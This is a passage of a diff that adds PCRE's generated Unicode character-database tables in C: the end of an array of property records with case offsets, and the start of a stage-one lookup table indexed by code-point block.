+  {    14,      6,      0, }, /* 165 */
+  {     2,     12,      0, }, /* 166 */
+  {     2,     10,      0, }, /* 167 */
+  {     2,      7,      0, }, /* 168 */
+  {     2,     13,      0, }, /* 169 */
+  {     2,     23,      0, }, /* 170 */
+  {     2,     15,      0, }, /* 171 */
+  {     2,     26,      0, }, /* 172 */
+  {    21,     12,      0, }, /* 173 */
+  {    21,     10,      0, }, /* 174 */
+  {    21,      7,      0, }, /* 175 */
+  {    21,     13,      0, }, /* 176 */
+  {    20,     12,      0, }, /* 177 */
+  {    20,     10,      0, }, /* 178 */
+  {    20,      7,      0, }, /* 179 */
+  {    20,     13,      0, }, /* 180 */
+  {    20,     23,      0, }, /* 181 */
+  {    43,     12,      0, }, /* 182 */
+  {    43,     10,      0, }, /* 183 */
+  {    43,      7,      0, }, /* 184 */
+  {    43,     13,      0, }, /* 185 */
+  {    43,     26,      0, }, /* 186 */
+  {    53,     12,      0, }, /* 187 */
+  {    53,      7,      0, }, /* 188 */
+  {    53,     10,      0, }, /* 189 */
+  {    53,     13,      0, }, /* 190 */
+  {    53,     15,      0, }, /* 191 */
+  {    53,     26,      0, }, /* 192 */
+  {    53,     23,      0, }, /* 193 */
+  {    54,     10,      0, }, /* 194 */
+  {    54,      7,      0, }, /* 195 */
+  {    54,     12,      0, }, /* 196 */
+  {    54,     13,      0, }, /* 197 */
+  {    54,     15,      0, }, /* 198 */
+  {    54,     26,      0, }, /* 199 */
+  {    28,     10,      0, }, /* 200 */
+  {    28,      7,      0, }, /* 201 */
+  {    28,     12,      0, }, /* 202 */
+  {    28,     13,      0, }, /* 203 */
+  {    36,     10,      0, }, /* 204 */
+  {    36,      7,      0, }, /* 205 */
+  {    36,     12,      0, }, /* 206 */
+  {    36,     13,      0, }, /* 207 */
+  {    36,     15,      0, }, /* 208 */
+  {    36,     26,      0, }, /* 209 */
+  {    47,     10,      0, }, /* 210 */
+  {    47,      7,      0, }, /* 211 */
+  {    47,     12,      0, }, /* 212 */
+  {    47,     21,      0, }, /* 213 */
+  {    56,      7,      0, }, /* 214 */
+  {    56,     12,      0, }, /* 215 */
+  {    56,      6,      0, }, /* 216 */
+  {    56,     21,      0, }, /* 217 */
+  {    56,     13,      0, }, /* 218 */
+  {    32,      7,      0, }, /* 219 */
+  {    32,     12,      0, }, /* 220 */
+  {    32,      6,      0, }, /* 221 */
+  {    32,     13,      0, }, /* 222 */
+  {    57,      7,      0, }, /* 223 */
+  {    57,     26,      0, }, /* 224 */
+  {    57,     21,      0, }, /* 225 */
+  {    57,     12,      0, }, /* 226 */
+  {    57,     13,      0, }, /* 227 */
+  {    57,     15,      0, }, /* 228 */
+  {    57,     22,      0, }, /* 229 */
+  {    57,     18,      0, }, /* 230 */
+  {    57,     10,      0, }, /* 231 */
+  {    38,      7,      0, }, /* 232 */
+  {    38,     10,      0, }, /* 233 */
+  {    38,     12,      0, }, /* 234 */
+  {    38,     13,      0, }, /* 235 */
+  {    38,     21,      0, }, /* 236 */
+  {    38,     26,      0, }, /* 237 */
+  {    16,      9,   7264, }, /* 238 */
+  {    16,      7,      0, }, /* 239 */
+  {    16,      6,      0, }, /* 240 */
+  {    23,      7,      0, }, /* 241 */
+  {    15,      7,      0, }, /* 242 */
+  {    15,     12,      0, }, /* 243 */
+  {    15,     26,      0, }, /* 244 */
+  {    15,     21,      0, }, /* 245 */
+  {    15,     15,      0, }, /* 246 */
+  {     8,      7,      0, }, /* 247 */
+  {     7,      7,      0, }, /* 248 */
+  {     7,     21,      0, }, /* 249 */
+  {    40,     29,      0, }, /* 250 */
+  {    40,      7,      0, }, /* 251 */
+  {    40,     22,      0, }, /* 252 */
+  {    40,     18,      0, }, /* 253 */
+  {    45,      7,      0, }, /* 254 */
+  {    45,     14,      0, }, /* 255 */
+  {    50,      7,      0, }, /* 256 */
+  {    50,     12,      0, }, /* 257 */
+  {    24,      7,      0, }, /* 258 */
+  {    24,     12,      0, }, /* 259 */
+  {     6,      7,      0, }, /* 260 */
+  {     6,     12,      0, }, /* 261 */
+  {    51,      7,      0, }, /* 262 */
+  {    51,     12,      0, }, /* 263 */
+  {    31,      7,      0, }, /* 264 */
+  {    31,      1,      0, }, /* 265 */
+  {    31,     10,      0, }, /* 266 */
+  {    31,     12,      0, }, /* 267 */
+  {    31,     21,      0, }, /* 268 */
+  {    31,      6,      0, }, /* 269 */
+  {    31,     23,      0, }, /* 270 */
+  {    31,     13,      0, }, /* 271 */
+  {    31,     15,      0, }, /* 272 */
+  {    37,     21,      0, }, /* 273 */
+  {    37,     17,      0, }, /* 274 */
+  {    37,     12,      0, }, /* 275 */
+  {    37,     29,      0, }, /* 276 */
+  {    37,     13,      0, }, /* 277 */
+  {    37,      7,      0, }, /* 278 */
+  {    37,      6,      0, }, /* 279 */
+  {    34,      7,      0, }, /* 280 */
+  {    34,     12,      0, }, /* 281 */
+  {    34,     10,      0, }, /* 282 */
+  {    34,     26,      0, }, /* 283 */
+  {    34,     21,      0, }, /* 284 */
+  {    34,     13,      0, }, /* 285 */
+  {    52,      7,      0, }, /* 286 */
+  {    39,      7,      0, }, /* 287 */
+  {    39,     10,      0, }, /* 288 */
+  {    39,     13,      0, }, /* 289 */
+  {    39,     21,      0, }, /* 290 */
+  {    31,     26,      0, }, /* 291 */
+  {     5,      7,      0, }, /* 292 */
+  {     5,     12,      0, }, /* 293 */
+  {     5,     10,      0, }, /* 294 */
+  {     5,     21,      0, }, /* 295 */
+  {    61,     12,      0, }, /* 296 */
+  {    61,     10,      0, }, /* 297 */
+  {    61,      7,      0, }, /* 298 */
+  {    61,     13,      0, }, /* 299 */
+  {    61,     21,      0, }, /* 300 */
+  {    61,     26,      0, }, /* 301 */
+  {    75,     12,      0, }, /* 302 */
+  {    75,     10,      0, }, /* 303 */
+  {    75,      7,      0, }, /* 304 */
+  {    75,     13,      0, }, /* 305 */
+  {    69,      7,      0, }, /* 306 */
+  {    69,     10,      0, }, /* 307 */
+  {    69,     12,      0, }, /* 308 */
+  {    69,     21,      0, }, /* 309 */
+  {    69,     13,      0, }, /* 310 */
+  {    72,     13,      0, }, /* 311 */
+  {    72,      7,      0, }, /* 312 */
+  {    72,      6,      0, }, /* 313 */
+  {    72,     21,      0, }, /* 314 */
+  {    12,      5,      0, }, /* 315 */
+  {    12,      6,      0, }, /* 316 */
+  {    33,      5,  35332, }, /* 317 */
+  {    33,      5,   3814, }, /* 318 */
+  {    33,      5,    -59, }, /* 319 */
+  {    33,      9,  -7615, }, /* 320 */
+  {    19,      5,      8, }, /* 321 */
+  {    19,      9,     -8, }, /* 322 */
+  {    19,      5,     74, }, /* 323 */
+  {    19,      5,     86, }, /* 324 */
+  {    19,      5,    100, }, /* 325 */
+  {    19,      5,    128, }, /* 326 */
+  {    19,      5,    112, }, /* 327 */
+  {    19,      5,    126, }, /* 328 */
+  {    19,      8,     -8, }, /* 329 */
+  {    19,      5,      9, }, /* 330 */
+  {    19,      9,    -74, }, /* 331 */
+  {    19,      8,     -9, }, /* 332 */
+  {    19,      5,  -7205, }, /* 333 */
+  {    19,      9,    -86, }, /* 334 */
+  {    19,      9,   -100, }, /* 335 */
+  {    19,      9,   -112, }, /* 336 */
+  {    19,      9,   -128, }, /* 337 */
+  {    19,      9,   -126, }, /* 338 */
+  {    27,      1,      0, }, /* 339 */
+  {     9,     27,      0, }, /* 340 */
+  {     9,     28,      0, }, /* 341 */
+  {    27,     11,      0, }, /* 342 */
+  {     9,      9,      0, }, /* 343 */
+  {     9,      5,      0, }, /* 344 */
+  {    19,      9,  -7517, }, /* 345 */
+  {    33,      9,  -8383, }, /* 346 */
+  {    33,      9,  -8262, }, /* 347 */
+  {    33,      9,     28, }, /* 348 */
+  {     9,      7,      0, }, /* 349 */
+  {    33,      5,    -28, }, /* 350 */
+  {    33,     14,     16, }, /* 351 */
+  {    33,     14,    -16, }, /* 352 */
+  {    33,     14,      0, }, /* 353 */
+  {     9,     26,     26, }, /* 354 */
+  {     9,     26,    -26, }, /* 355 */
+  {     4,     26,      0, }, /* 356 */
+  {    17,      9,     48, }, /* 357 */
+  {    17,      5,    -48, }, /* 358 */
+  {    33,      9, -10743, }, /* 359 */
+  {    33,      9,  -3814, }, /* 360 */
+  {    33,      9, -10727, }, /* 361 */
+  {    33,      5, -10795, }, /* 362 */
+  {    33,      5, -10792, }, /* 363 */
+  {    33,      9, -10780, }, /* 364 */
+  {    33,      9, -10749, }, /* 365 */
+  {    33,      9, -10783, }, /* 366 */
+  {    10,      5,      0, }, /* 367 */
+  {    10,     26,      0, }, /* 368 */
+  {    10,     21,      0, }, /* 369 */
+  {    10,     15,      0, }, /* 370 */
+  {    16,      5,  -7264, }, /* 371 */
+  {    58,      7,      0, }, /* 372 */
+  {    58,      6,      0, }, /* 373 */
+  {    22,     26,      0, }, /* 374 */
+  {    22,      6,      0, }, /* 375 */
+  {    22,     14,      0, }, /* 376 */
+  {    26,      7,      0, }, /* 377 */
+  {    26,      6,      0, }, /* 378 */
+  {    29,      7,      0, }, /* 379 */
+  {    29,      6,      0, }, /* 380 */
+  {     3,      7,      0, }, /* 381 */
+  {    23,     26,      0, }, /* 382 */
+  {    29,     26,      0, }, /* 383 */
+  {    22,      7,      0, }, /* 384 */
+  {    60,      7,      0, }, /* 385 */
+  {    60,      6,      0, }, /* 386 */
+  {    60,     26,      0, }, /* 387 */
+  {    76,      7,      0, }, /* 388 */
+  {    76,      6,      0, }, /* 389 */
+  {    76,     21,      0, }, /* 390 */
+  {    76,     13,      0, }, /* 391 */
+  {    12,      7,      0, }, /* 392 */
+  {    12,     21,      0, }, /* 393 */
+  {    33,      9, -35332, }, /* 394 */
+  {    48,      7,      0, }, /* 395 */
+  {    48,     12,      0, }, /* 396 */
+  {    48,     10,      0, }, /* 397 */
+  {    48,     26,      0, }, /* 398 */
+  {    64,      7,      0, }, /* 399 */
+  {    64,     21,      0, }, /* 400 */
+  {    74,     10,      0, }, /* 401 */
+  {    74,      7,      0, }, /* 402 */
+  {    74,     12,      0, }, /* 403 */
+  {    74,     21,      0, }, /* 404 */
+  {    74,     13,      0, }, /* 405 */
+  {    68,     13,      0, }, /* 406 */
+  {    68,      7,      0, }, /* 407 */
+  {    68,     12,      0, }, /* 408 */
+  {    68,     21,      0, }, /* 409 */
+  {    73,      7,      0, }, /* 410 */
+  {    73,     12,      0, }, /* 411 */
+  {    73,     10,      0, }, /* 412 */
+  {    73,     21,      0, }, /* 413 */
+  {    67,      7,      0, }, /* 414 */
+  {    67,     12,      0, }, /* 415 */
+  {    67,     10,      0, }, /* 416 */
+  {    67,     13,      0, }, /* 417 */
+  {    67,     21,      0, }, /* 418 */
+  {     9,      4,      0, }, /* 419 */
+  {     9,      3,      0, }, /* 420 */
+  {    25,     25,      0, }, /* 421 */
+  {    35,      7,      0, }, /* 422 */
+  {    19,     14,      0, }, /* 423 */
+  {    19,     15,      0, }, /* 424 */
+  {    19,     26,      0, }, /* 425 */
+  {    70,      7,      0, }, /* 426 */
+  {    66,      7,      0, }, /* 427 */
+  {    41,      7,      0, }, /* 428 */
+  {    41,     15,      0, }, /* 429 */
+  {    18,      7,      0, }, /* 430 */
+  {    18,     14,      0, }, /* 431 */
+  {    59,      7,      0, }, /* 432 */
+  {    59,     21,      0, }, /* 433 */
+  {    42,      7,      0, }, /* 434 */
+  {    42,     21,      0, }, /* 435 */
+  {    42,     14,      0, }, /* 436 */
+  {    13,      9,     40, }, /* 437 */
+  {    13,      5,    -40, }, /* 438 */
+  {    46,      7,      0, }, /* 439 */
+  {    44,      7,      0, }, /* 440 */
+  {    44,     13,      0, }, /* 441 */
+  {    11,      7,      0, }, /* 442 */
+  {    65,      7,      0, }, /* 443 */
+  {    65,     15,      0, }, /* 444 */
+  {    65,     21,      0, }, /* 445 */
+  {    71,      7,      0, }, /* 446 */
+  {    71,     21,      0, }, /* 447 */
+  {    30,      7,      0, }, /* 448 */
+  {    30,     12,      0, }, /* 449 */
+  {    30,     15,      0, }, /* 450 */
+  {    30,     21,      0, }, /* 451 */
+  {    62,      7,      0, }, /* 452 */
+  {    62,     14,      0, }, /* 453 */
+  {    62,     21,      0, }, /* 454 */
+  {     9,     10,      0, }, /* 455 */
+  {    19,     12,      0, }, /* 456 */
+};
+
+const uschar _pcre_ucd_stage1[] = { /* 8704 bytes */
+  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, /* U+0000 */
+ 16, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, /* U+0800 */
+ 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 40, 40, 41, 42, 43, 44, /* U+1000 */
+ 45, 46, 47, 48, 49, 16, 50, 51, 52, 16, 53, 54, 55, 56, 57, 58, /* U+1800 */
+ 59, 60, 61, 62, 63, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, /* U+2000 */
+ 74, 74, 63, 75, 63, 63, 76, 16, 77, 78, 79, 80, 81, 82, 83, 84, /* U+2800 */
+ 85, 86, 87, 88, 89, 90, 91, 68, 92, 92, 92, 92, 92, 92, 92, 92, /* U+3000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+3800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+4000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 93, 92, 92, 92, 92, /* U+4800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+5000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+5800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+6000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+6800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+7000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+7800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+8000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+8800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+9000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 94, /* U+9800 */
+ 95, 96, 96, 96, 96, 96, 96, 96, 96, 97, 98, 98, 99,100,101,102, /* U+A000 */
+103,104,105, 16,106, 16, 16, 16,107,107,107,107,107,107,107,107, /* U+A800 */
+107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107, /* U+B000 */
+107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107, /* U+B800 */
+107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107, /* U+C000 */
+107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107, /* U+C800 */
+107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,108, /* U+D000 */
+109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109, /* U+D800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+E000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+E800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F000 */
+110,110, 92, 92,111,112,113,114,115,115,116,117,118,119,120,121, /* U+F800 */
+122,123,124,125, 16,126,127,128,129,130, 16, 16, 16, 16, 16, 16, /* U+10000 */
+131, 16,132, 16,133, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+10800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+11000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+11800 */
+134,134,134,134,134,134,135, 16,136, 16, 16, 16, 16, 16, 16, 16, /* U+12000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+12800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+13000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+13800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+14000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+14800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+15000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+15800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+16000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+16800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+17000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+17800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+18000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+18800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+19000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+19800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1C800 */
+ 68,137,138,139,140, 16,141, 16,142,143,144,145,146,147,148,149, /* U+1D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1E800 */
+150,151, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+1F800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+20000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+20800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+21000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+21800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+22000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+22800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+23000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+23800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+24000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+24800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+25000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+25800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+26000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+26800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+27000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+27800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+28000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+28800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+29000 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, /* U+29800 */
+ 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92,152, 16, 16, /* U+2A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2F000 */
+ 92, 92, 92, 92,153, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+2F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+30000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+30800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+31000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+31800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+32000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+32800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+33000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+33800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+34000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+34800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+35000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+35800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+36000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+36800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+37000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+37800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+38000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+38800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+39000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+39800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+3F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+40000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+40800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+41000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+41800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+42000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+42800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+43000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+43800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+44000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+44800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+45000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+45800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+46000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+46800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+47000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+47800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+48000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+48800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+49000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+49800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4B800 */
